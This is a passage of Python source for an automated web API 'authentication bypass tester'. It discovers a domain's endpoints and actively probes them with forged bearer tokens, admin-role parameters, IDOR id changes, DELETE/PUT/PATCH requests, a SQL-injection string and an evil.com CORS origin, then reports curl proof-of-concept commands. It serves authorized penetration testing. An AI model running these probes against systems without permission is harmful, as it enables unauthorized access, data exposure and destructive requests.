    r'/fonts?/',
    r'/static/',
    r'/assets/',
    r'/css/',
    r'\.min\.(js|css)(\?.*)?$',
    r'/demandware\.static/',
    r'\.gif(\?.*)?$',
    ]

    # High priority patterns (test these first)
    priority_patterns = [
    r'/api/(?!.*/(gtm|noticeError))',
    r'/v\d+/(?!.*wp)',
    r'developers\.',
    r'/apispecs/',
    r'\.json$',
    r'/graphql',
    r'/rest/(?!.*wp)',
    r'/jwks\.json',
    ]

    # Regular API patterns
    regular_patterns = [
    r'/ajax/',
    r'/services/',
    r'/internal/',
    r'/private/',
    r'/admin/api/',
    r'/configuration/',
    r'/manifest\.json$',
    ]

    # First, collect high priority endpoints
    priority_urls = []
    regular_urls = []

    for url in urls:
    # Skip known false positive patterns
    if any(re.search(pattern, url, re.IGNORECASE) for pattern in skip_patterns):
    continue

    # Additional filter: Skip if it looks like a static asset with parameters
    if re.search(r'\.(jpg|png|gif|svg|ttf|woff|css)\?sw=|sh=|v=', url, re.IGNORECASE):
    continue

    # Check for high priority patterns
    is_priority = any(re.search(pattern, url, re.IGNORECASE) for pattern in priority_patterns)
    is_regular = any(re.search(pattern, url, re.IGNORECASE) for pattern in regular_patterns)

    # Special handling for .well-known URLs
    if '.well-known/' in url:
    # Quick test to see if this returns HTML (indicating 404/error page)
    try:
    test_response = requests.get(url, timeout=5, verify=False)
    if (test_response.status_code == 200 and
    not (test_response.text.lower().startswith('<!doctype html>') or
    '<html' in test_response.text.lower()[:100])):
    is_priority = True # Only include if it returns actual content, not HTML
    else:
    continue # Skip - this is returning HTML error page or non-200 status
    except:
    continue # Skip if we can't test it

    # Special handling for JSON files - only include if they're actually config files
    elif url.endswith('.json'):
    # Include if it's in config or API directories (well-known already handled above)
    if any(keyword in url.lower() for keyword in ['config', 'api', 'manifest', 'jwks']):
    # But exclude if it's clearly in a static directory
    if not any(static_dir in url.lower() for static_dir in ['static', 'assets', 'images', 'css']):
    is_priority = True
    else:
    continue # Skip other JSON files

    if is_priority:
    priority_urls.append(url)
    elif is_regular:
    regular_urls.append(url)

    # Combine with priority first, test all relevant endpoints
    api_urls = priority_urls + regular_urls

    # Remove duplicates while preserving order
    seen = set()
    filtered_api_urls = []
    for url in api_urls:
    if url not in seen:
    seen.add(url)
    filtered_api_urls.append(url)

    logger.info(f"Found {len(filtered_api_urls)} potential API endpoints (Priority: {len(priority_urls)}, Regular: {len(regular_urls)})")
    logger.info(f"Filtered out static assets and non-API endpoints")
    return filtered_api_urls

    def test_endpoint_bypass(self, url: str) -> Dict:
    """Test a single endpoint for multiple authentication bypass techniques"""
    results = []

    try:
    # Test 1: Response Manipulation (original technique)
    response_manip = self.test_response_manipulation(url)
    if response_manip['vulnerable']:
    results.append(response_manip)

    # Test 2: Missing Authentication
    missing_auth = self.test_missing_authentication(url)
    if missing_auth['vulnerable']:
    results.append(missing_auth)

    # Test 3: IDOR (parameter manipulation)
    idor_test = self.test_idor_vulnerability(url)
    if idor_test['vulnerable']:
    results.append(idor_test)

    # Test 4: Weak Token Validation
    weak_token = self.test_weak_token_validation(url)
    if weak_token['vulnerable']:
    results.append(weak_token)

    # Test 5: Privilege Escalation
    priv_esc = self.test_privilege_escalation(url)
    if priv_esc['vulnerable']:
    results.append(priv_esc)

    # Test 6: HTTP Method Access Control
    method_bypass = self.test_http_method_bypass(url)
    if method_bypass['vulnerable']:
    results.append(method_bypass)

    # Test 7: Information Disclosure
    info_disclosure = self.test_information_disclosure(url)
    if info_disclosure['vulnerable']:
    results.append(info_disclosure)

    # Test 8: CORS Misconfiguration
    cors_test = self.test_cors_misconfiguration(url)
    if cors_test['vulnerable']:
    results.append(cors_test)

    # Test 9: Error Message Analysis
    error_analysis = self.test_error_message_disclosure(url)
    if error_analysis['vulnerable']:
    results.append(error_analysis)

    if results:
    return {'vulnerable': True, 'url': url, 'vulnerabilities': results}
    else:
    return {'vulnerable': False, 'url': url}

    except Exception as e:
    logger.debug(f"Error testing {url}: {e}")
    return {'vulnerable': False, 'url': url, 'error': str(e)}

    def test_response_manipulation(self, url: str) -> Dict:
    """Test 1: Response Manipulation Bypass"""
    try:
    response = self.session.get(url, timeout=self.timeout, allow_redirects=False)

    # Check if it's a JSON API endpoint
    if 'application/json' in response.headers.get('content-type', ''):
    return self.test_json_manipulation(url, response)

    # Check for redirect to SSO/login
    if response.status_code in [301, 302, 303, 307, 308]:
    location = response.headers.get('location', '')
    if any(keyword in location.lower() for keyword in ['login', 'auth', 'sso']):
    return {
    'vulnerable': True,
    'method': 'Response Manipulation - Redirect Bypass',
    'details': f'Redirects to: {location}',
    'exploitation': 'Intercept response and remove Location header'
    }

    return {'vulnerable': False}

    except Exception as e:
    return {'vulnerable': False, 'error': str(e)}

    def test_missing_authentication(self, url: str) -> Dict:
    """Test 2: Missing Authentication on Sensitive Endpoint"""
    try:
    # Skip common false positives
    if any(pattern in url.lower() for pattern in [
    'wp-json/wp/v2/tags', 'wp-json/wp/v2/pages', 'wp-json/wp/v2/comments',
    'wp-json/wp/v2/users', 'wp-json/wp/v2/media', '/job/', '/events/'
    ]):
    return {'vulnerable': False}

    # Test completely unauthenticated request
    clean_session = requests.Session()
    clean_session.verify = False
    response = clean_session.get(url, timeout=self.timeout)

    if response.status_code == 200:
    content = response.text.lower()
    content_length = len(response.text)

    # Check if this is actually an HTML error page or redirect page
    if content.startswith('<!doctype html>') or '<html' in content[:100]:
    # This is an HTML page, not a configuration file
    return {'vulnerable': False}

    # High-value sensitive patterns
    critical_patterns = [
    'api_key', 'secret_key', 'access_token', 'private_key', 'password',
    'connection_string', 'database_url', 'jwt', 'bearer', 'oauth'
    ]

    # API specification patterns
    spec_patterns = [
    'swagger', 'openapi', 'api-spec', 'endpoints', 'schemas'
    ]

    # Configuration patterns
    config_patterns = [
    'config', 'settings', 'environment', 'credentials'
    ]

    has_critical_data = any(pattern in content for pattern in critical_patterns)
    has_spec_data = any(pattern in content for pattern in spec_patterns)
    has_config_data = any(pattern in content for pattern in config_patterns)

    # Check for structured sensitive data (must be actual JSON/config, not HTML)
    is_json_config = (url.endswith('.json') and content_length > 100 and
    content.strip().startswith('{') and content.strip().endswith('}'))
    is_api_spec = ('spec' in url or 'swagger' in url or 'openapi' in url)

    # Only flag truly sensitive exposures
    if (content_length > 200 and
    (has_critical_data or
    (is_api_spec and has_spec_data) or
    (is_json_config and has_config_data))):

    return {
    'vulnerable': True,
    'method': 'Missing Authentication - Sensitive Data Exposure',
    'details': f'Critical endpoint accessible without authentication (Status: {response.status_code}, {content_length} chars)',
    'exploitation': 'Direct access to sensitive configuration/API data',
    'poc': f'curl -X GET "{url}"',
    'response_sample': response.text[:300] + '...' if len(response.text) > 300 else response.text
    }

    return {'vulnerable': False}

    except Exception as e:
    return {'vulnerable': False, 'error': str(e)}

    def test_idor_vulnerability(self, url: str) -> Dict:
    """Test 3: Insecure Direct Object Reference (IDOR)"""
    try:
    # Look for numeric IDs in URL
    id_patterns = [r'/(\d+)/?$', r'/(\d+)/', r'id=(\d+)', r'user=(\d+)']

    for pattern in id_patterns:
    match = re.search(pattern, url)
    if match:
    original_id = match.group(1)
    # Try different IDs
    test_ids = [str(int(original_id) + 1), str(int(original_id) - 1), '1', '999', '0']

    for test_id in test_ids:
    test_url = re.sub(pattern, f'/{test_id}/', url) if '/' in pattern else url.replace(f'={original_id}', f'={test_id}')

    response = self.session.get(test_url, timeout=self.timeout)
    if response.status_code == 200 and len(response.text) > 100:
    return {
    'vulnerable': True,
    'method': 'IDOR (Insecure Direct Object Reference)',
    'details': f'ID {original_id}{test_id} accessible',
    'exploitation': f'Change ID parameter to access other users data'
    }

    return {'vulnerable': False}

    except Exception as e:
    return {'vulnerable': False, 'error': str(e)}

    def test_weak_token_validation(self, url: str) -> Dict:
    """Test 4: Weak Session Token or Cookie Validation"""
    try:
    # Skip static assets - they don't validate tokens by design
    static_extensions = r'\.(jpg|jpeg|png|gif|svg|ico|webp|ttf|eot|woff|woff2|css|js)(\?.*)?$'
    if re.search(static_extensions, url, re.IGNORECASE):
    return {'vulnerable': False}

    # First test normal request to establish baseline
    normal_response = self.session.get(url, timeout=self.timeout)

    # Skip if baseline response is HTML error page
    if normal_response.text.lower().startswith('<!doctype html>') or '<html' in normal_response.text.lower()[:100]:
    return {'vulnerable': False}

    # Test with invalid/tampered tokens
    invalid_tokens = [
    'Bearer invalid_token',
    'Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.invalid',
    'Bearer admin_token',
    'Bearer 123456'
    ]

    for token in invalid_tokens:
    headers = {'Authorization': token}
    response = self.session.get(url, headers=headers, timeout=self.timeout)

    # Skip if response is HTML error page
    if response.text.lower().startswith('<!doctype html>') or '<html' in response.text.lower()[:100]:
    continue

    # Only flag as vulnerable if it returns 200 AND different/substantial content
    if response.status_code == 200 and len(response.text) > 50:
    # Check if the response is different from normal request (indicating it processed the token)
    if response.text != normal_response.text or 'error' not in response.text.lower():
    # Additional check: make sure this isn't just a static file
    content_type = response.headers.get('content-type', '').lower()
    if not any(static_type in content_type for static_type in ['image/', 'font/', 'text/css', 'text/html']):
    return {
    'vulnerable': True,
    'method': 'Weak Token Validation',
    'details': f'Accepts invalid token: "{token[:30]}..." (Status: {response.status_code})',
    'exploitation': 'Server accepts invalid or missing tokens',
    'poc': f'curl -X GET "{url}" -H "Authorization: {token}"',
    'response_sample': response.text[:200] + '...' if len(response.text) > 200 else response.text
    }

    return {'vulnerable': False}

    except Exception as e:
    return {'vulnerable': False, 'error': str(e)}

    def test_privilege_escalation(self, url: str) -> Dict:
    """Test 5: Privilege Escalation via Parameter Tampering"""
    try:
    # First get baseline response
    baseline_response = self.session.get(url, timeout=self.timeout)
    baseline_content = baseline_response.text.lower()

    # Test with privilege escalation parameters
    priv_params = [
    {'role': 'admin'},
    {'isAdmin': 'true'},
    {'user_id': '1'},
    {'admin': '1'},
    {'privilege': 'admin'},
    {'level': '999'}
    ]

    for params in priv_params:
    response = self.session.get(url, params=params, timeout=self.timeout)

    if response.status_code == 200:
    content = response.text.lower()

    # Check if response suggests elevated privileges or is significantly different
    admin_indicators = ['admin', 'administrator', 'root', 'superuser', 'privilege']
    has_admin_content = any(indicator in content for indicator in admin_indicators)
    content_changed = len(content) != len(baseline_content) or content != baseline_content

    if has_admin_content and content_changed:
    return {
    'vulnerable': True,
    'method': 'Privilege Escalation via Parameter Tampering',
    'details': f'Parameter manipulation successful: {params} (Status: {response.status_code})',
    'exploitation': 'Add privilege parameters to requests',
    'poc': f'curl -X GET "{url}?" + "&".join([f"{k}={v}" for k,v in params.items()])',
    'response_sample': response.text[:200] + '...' if len(response.text) > 200 else response.text
    }

    return {'vulnerable': False}

    except Exception as e:
    return {'vulnerable': False, 'error': str(e)}

    def test_http_method_bypass(self, url: str) -> Dict:
    """Test 6: Broken Access Control on HTTP Methods"""
    try:
    # Skip static assets - DELETE on images/fonts/CSS isn't a vulnerability
    static_extensions = r'\.(jpg|jpeg|png|gif|svg|ico|webp|ttf|eot|woff|woff2|css|js)(\?.*)?$'
    if re.search(static_extensions, url, re.IGNORECASE):
    return {'vulnerable': False}

    # Skip static asset directories
    if any(static_dir in url.lower() for static_dir in ['/images/', '/fonts/', '/css/', '/static/', '/assets/']):
    return {'vulnerable': False}

    # Get baseline with GET request
    get_response = self.session.get(url, timeout=self.timeout)
    get_status = get_response.status_code
    get_content_length = len(get_response.text)

    methods = ['POST', 'PUT', 'DELETE', 'PATCH', 'OPTIONS']

    for method in methods:
    response = self.session.request(method, url, timeout=self.timeout)

    # Only flag as vulnerable if method returns success AND doesn't contain error messages
    if response.status_code in [200, 201, 202, 204]:
    content = response.text.lower()
    content_length = len(response.text)

    # Check for common error indicators that suggest the request was rejected
    error_indicators = [
    'request rejected', 'access denied', 'method not allowed',
    'forbidden', 'unauthorized', 'error', 'blocked', 'rejected'
    ]

    has_errors = any(indicator in content for indicator in error_indicators)

    # Additional check: make sure response isn't just a static file
    content_type = response.headers.get('content-type', '').lower()
    is_static_content = any(static_type in content_type for static_type in ['image/', 'font/', 'text/css'])

    # Consider it vulnerable if:
    # 1. No error messages in response, AND
    # 2. Not static content, AND
    # 3. Method should not be allowed (DELETE, PUT, PATCH), OR
    # 4. Substantially different content that suggests actual processing
    if (not has_errors and not is_static_content and
    (method in ['DELETE', 'PUT', 'PATCH'] or
    (abs(content_length - get_content_length) > 100 and content_length > 50))):

    return {
    'vulnerable': True,
    'method': f'HTTP Method Bypass - {method}',
    'details': f'{method} method accessible (Status: {response.status_code}, Content: {content_length} chars vs GET: {get_content_length} chars)',
    'exploitation': f'Use {method} method to bypass access controls',
    'poc': f'curl -X {method} "{url}"',
    'response_sample': response.text[:200] + '...' if len(response.text) > 200 else response.text
    }

    return {'vulnerable': False}

    except Exception as e:
    return {'vulnerable': False, 'error': str(e)}

    def test_information_disclosure(self, url: str) -> Dict:
    """Test 7: Exposed API Key or Token in Unauthenticated Requests"""
    try:
    response = self.session.get(url, timeout=self.timeout)

    # Look for exposed secrets
    secret_patterns = [
    r'api[_-]?key["\']?\s*[:=]\s*["\']?([a-zA-Z0-9]{20,})',
    r'secret[_-]?key["\']?\s*[:=]\s*["\']?([a-zA-Z0-9]{20,})',
    r'access[_-]?token["\']?\s*[:=]\s*["\']?([a-zA-Z0-9]{20,})',
    r'bearer["\']?\s*[:=]\s*["\']?([a-zA-Z0-9]{20,})',
    r'jwt["\']?\s*[:=]\s*["\']?(eyJ[a-zA-Z0-9\-_=]+\.[a-zA-Z0-9\-_=]+\.[a-zA-Z0-9\-_=]*)'
    ]

    for pattern in secret_patterns:
    matches = re.findall(pattern, response.text, re.IGNORECASE)
    if matches:
    return {
    'vulnerable': True,
    'method': 'Information Disclosure - Exposed Secrets',
    'details': f'Found {len(matches)} potential secrets in response',
    'exploitation': 'Extract exposed API keys/tokens from response',
    'poc': f'curl -X GET "{url}"',
    'secrets_found': matches[:3],
    'response_sample': response.text[:200] + '...' if len(response.text) > 200 else response.text
    }

    return {'vulnerable': False}

    except Exception as e:
    return {'vulnerable': False, 'error': str(e)}

    def test_cors_misconfiguration(self, url: str) -> Dict:
    """Test 8: CORS Misconfiguration"""
    try:
    # Skip 404 pages and other error pages
    if '404?' in url or 'ItemNotFound' in url:
    return {'vulnerable': False}

    headers = {'Origin': 'https://evil.com'}
    response = self.session.get(url, headers=headers, timeout=self.timeout)

    # Only check successful responses, not error pages
    if response.status_code != 200:
    return {'vulnerable': False}

    cors_header = response.headers.get('Access-Control-Allow-Origin', '')

    # Check for overly permissive CORS
    if cors_header == '*' or 'evil.com' in cors_header:
    # Make sure this isn't just an error page
    content = response.text.lower()
    if not any(error in content for error in ['error', 'not found', 'rejected']):
    return {
    'vulnerable': True,
    'method': 'CORS Misconfiguration',
    'details': f'CORS allows unauthorized origin: {cors_header}',
    'exploitation': 'Cross-origin requests from malicious sites possible',
    'poc': f'curl -X GET "{url}" -H "Origin: https://evil.com"',
    'cors_header': cors_header
    }

    return {'vulnerable': False}

    except Exception as e:
    return {'vulnerable': False, 'error': str(e)}

    def test_error_message_disclosure(self, url: str) -> Dict:
    """Test 9: Information Disclosure in Error Messages"""
    try:
    # Trigger errors with malformed requests
    error_triggers = [
    {'params': {'id': 'invalid'}},
    {'headers': {'Content-Type': 'application/xml'}},
    {'data': 'invalid json'},
    {'params': {'q': "' OR 1=1 --"}}
    ]

    for trigger in error_triggers:
    response = self.session.post(url, timeout=self.timeout, **trigger)

    # Look for information disclosure in errors
    disclosure_patterns = [
    r'stack trace',
    r'sql.*error',
    r'database.*error',
    r'/var/www/',
    r'/home/',
    r'c:\\',
    r'exception',
    r'traceback'
    ]

    content = response.text.lower()
    for pattern in disclosure_patterns:
    if re.search(pattern, content):
    return {
    'vulnerable': True,
    'method': 'Information Disclosure in Error Messages',
    'details': f'Error message contains sensitive information',
    'exploitation': 'Craft malformed requests to extract system info',
    'poc': f'curl -X POST "{url}" -d "invalid json" -H "Content-Type: application/json"',
    'error_sample': response.text[:200] + '...' if len(response.text) > 200 else response.text
    }

    return {'vulnerable': False}

    except Exception as e:
    return {'vulnerable': False, 'error': str(e)}

    def test_json_manipulation(self, url: str, original_response: requests.Response) -> Dict:
    """Test JSON response manipulation bypass"""
    try:
    if original_response.status_code != 200:
    return {'vulnerable': False}

    try:
    data = original_response.json()
    except:
    return {'vulnerable': False}

    # Look for any access control indicators in response
    bypass_found = False
    potential_bypasses = []

    for key, value in self.flatten_dict(data).items():
    if any(indicator in key.lower() for indicator in self.bypass_indicators):
    if value is False or str(value).lower() in ['false', '0', 'no', 'disabled', 'expired']:
    bypass_found = True
    potential_bypasses.append({
    'field': key,
    'current_value': value,
    'suggested_value': self.get_bypass_value(key, value)
    })

    if bypass_found:
    return {
    'vulnerable': True,
    'method': 'JSON Response Manipulation',
    'details': f'Found {len(potential_bypasses)} bypass opportunities',
    'bypass_opportunities': potential_bypasses,
    'exploitation': 'Intercept response and modify boolean values',
    'poc': f'curl -X GET "{url}" # Then use Burp Suite to intercept and modify response',
    'response_sample': json.dumps(data, indent=2)[:300] + '...' if len(json.dumps(data)) > 300 else json.dumps(data, indent=2)
    }

    # Also check for common API error patterns that might indicate auth issues
    if self.check_for_auth_errors(data):
    return {
    'vulnerable': True,
    'method': 'API Error Response Manipulation',
    'details': 'API returns auth errors - try manipulating error responses',
    'exploitation': 'Modify error responses to bypass checks'
    }

    return {'vulnerable': False}

    except Exception as e:
    return {'vulnerable': False, 'error': str(e)}

    def get_bypass_value(self, key: str, current_value) -> str:
    """Suggest appropriate bypass value based on the field name and current value"""
    key_lower = key.lower()

    if any(word in key_lower for word in ['expired', 'disabled', 'restricted']):
    return 'false' if current_value else 'true'
    elif 'level' in key_lower or 'role' in key_lower:
    return 'admin' if isinstance(current_value, str) else '999'
    else:
    return 'true' if current_value is False else 'false'

    def check_for_auth_errors(self, data: dict) -> bool:
    """Check if response contains authentication/authorization errors"""
    error_indicators = [
    'unauthorized', 'forbidden', 'access_denied', 'insufficient_privileges',
    'login_required', 'authentication_required', 'invalid_token',
    'permission_denied', 'not_authorized', 'access_forbidden'
    ]

    # Convert entire response to lowercase string for searching
    response_str = json.dumps(data).lower()
    return any(indicator in response_str for indicator in error_indicators)

    def flatten_dict(self, d: dict, parent_key: str = '', sep: str = '.') -> dict:
    """Flatten nested dictionary for easier searching"""
    items = []
    for k, v in d.items():
    new_key = f"{parent_key}{sep}{k}" if parent_key else k
    if isinstance(v, dict):
    items.extend(self.flatten_dict(v, new_key, sep=sep).items())
    else:
    items.append((new_key, v))
    return dict(items)

    def test_all_endpoints(self, urls: List[str]) -> List[Dict]:
    """Test all API endpoints concurrently for multiple bypass techniques"""
    logger.info(f"Testing {len(urls)} endpoints for authentication bypasses using 9 different techniques")

    results = []
    with ThreadPoolExecutor(max_workers=self.threads) as executor:
    future_to_url = {executor.submit(self.test_endpoint_bypass, url): url for url in urls}

    for future in as_completed(future_to_url):
    result = future.result()
    if result['vulnerable']:
    # Handle multiple vulnerabilities per endpoint
    if 'vulnerabilities' in result:
    for vuln in result['vulnerabilities']:
    vuln_result = {
    'url': result['url'],
    'vulnerable': True,
    **vuln
    }
    self.vulnerable_endpoints.append(vuln_result)
    logger.info(f"🚨 VULNERABLE: {result['url']} - {vuln.get('method', 'Unknown')}")
    else:
    self.vulnerable_endpoints.append(result)
    logger.info(f"🚨 VULNERABLE: {result['url']} - {result.get('method', 'Unknown')}")
    results.append(result)

    return results

    def generate_report(self, results: List[Dict]) -> str:
    """Generate a detailed report of findings"""
    total_tested = len(results)
    vulnerable = len(self.vulnerable_endpoints)

    report = f"""
    === Comprehensive API Security Test Results ===
    Domain: {self.domain}
    Total URLs discovered: {len(self.found_urls)}
    API endpoints tested: {total_tested}
    Vulnerable endpoints found: {vulnerable}
    TESTS PERFORMED:
    1. Response Manipulation (Boolean/Redirect Bypass)
    2. Missing Authentication on Sensitive Endpoints
    3. Insecure Direct Object Reference (IDOR)
    4. Weak Session Token/Cookie Validation
    5. Privilege Escalation via Parameter Tampering
    6. HTTP Method Access Control Bypass
    7. Information Disclosure (Exposed Secrets)
    8. CORS Misconfiguration
    9. Error Message Information Disclosure
    """

    if vulnerable > 0:
    report += "=== VULNERABLE API ENDPOINTS ===\n"
    for vuln in self.vulnerable_endpoints:
    report += f"""
    URL: {vuln['url']}
    Vulnerability: {vuln.get('method', 'Unknown')}
    Details: {vuln.get('details', 'No additional details')}
    Exploitation: {vuln.get('exploitation', 'Manual testing required')}
    🔍 PROOF OF CONCEPT (POC):
    {vuln.get('poc', 'Manual verification required')}
    """
    if 'response_sample' in vuln:
    report += f"""
    📄 Response Sample:
    {vuln['response_sample']}
    """

    if 'bypass_opportunities' in vuln:
    report += "\n🎯 Specific Bypass Opportunities:\n"
    for bypass in vuln['bypass_opportunities']:
    report += f" - Change '{bypass['field']}' from '{bypass['current_value']}' to '{bypass['suggested_value']}'\n"

    if 'secrets_found' in vuln:
    report += f"\n🔑 Secrets Found: {', '.join(vuln['secrets_found'])}\n"

    if 'cors_header' in vuln:
    report += f"\n🌐 CORS Header: {vuln['cors_header']}\n"

    if 'error_sample' in vuln:
    report += f"\n⚠️ Error Sample: {vuln['error_sample']}\n"

    report += "\n" + "="*60 + "\n"

    report += f"""
    === SUMMARY BY VULNERABILITY TYPE ===
    """
    # Count vulnerabilities by type
    vuln_types = {}
    for vuln in self.vulnerable_endpoints:
    vuln_type = vuln.get('method', 'Unknown')
    vuln_types[vuln_type] = vuln_types.get(vuln_type, 0) + 1

    for vuln_type, count in sorted(vuln_types.items()):
    report += f"{vuln_type}: {count} endpoints\n"

    return report

    def run_full_scan(self) -> str:
    """Run the complete authentication bypass scan"""
    logger.info(f"Starting comprehensive API security scan for {self.domain}")

    # Step 1: Discover URLs
    all_urls = self.run_urlfinder()
    if not all_urls:
    return "No URLs discovered. Check URLfinder installation and domain validity."

    self.found_urls = set(all_urls)

    # Step 2: Filter API endpoints
    api_urls = self.filter_api_endpoints(all_urls)
    if not api_urls:
    return "No API endpoints found in discovered URLs."

    # Step 3: Test for bypasses
    results = self.test_all_endpoints(api_urls)

    # Step 4: Generate report
    return self.generate_report(results)

    def main():
    parser = argparse.ArgumentParser(description='Automated Authentication Bypass Tester')
    parser.add_argument('domain', help='Target domain to test')
    parser.add_argument('-t', '--threads', type=int, default=10, help='Number of threads (default: 10)')
    parser.add_argument('-o', '--output', help='Output file for results')
    parser.add_argument('--timeout', type=int, default=10, help='Request timeout in seconds (default: 10)')

    args = parser.parse_args()

    # Validate domain
    if not args.domain or '.' not in args.domain:
    logger.error("Please provide a valid domain")
    return

    # Warning message
    print("⚠️ WARNING: Only use this tool on domains you own or have explicit permission to test!")
    print("Unauthorized testing may be illegal and could result in serious consequences.")

    # Run the scan
    tester = AuthBypassTester(args.domain, threads=args.threads, timeout=args.timeout)
    report = tester.run_full_scan()

    # Output results
    print(report)

    if args.output:
    with open(args.output, 'w') as f:
    f.write(report)
    logger.info(f"Results saved to {args.output}")

    if __name__ == "__main__":
    main()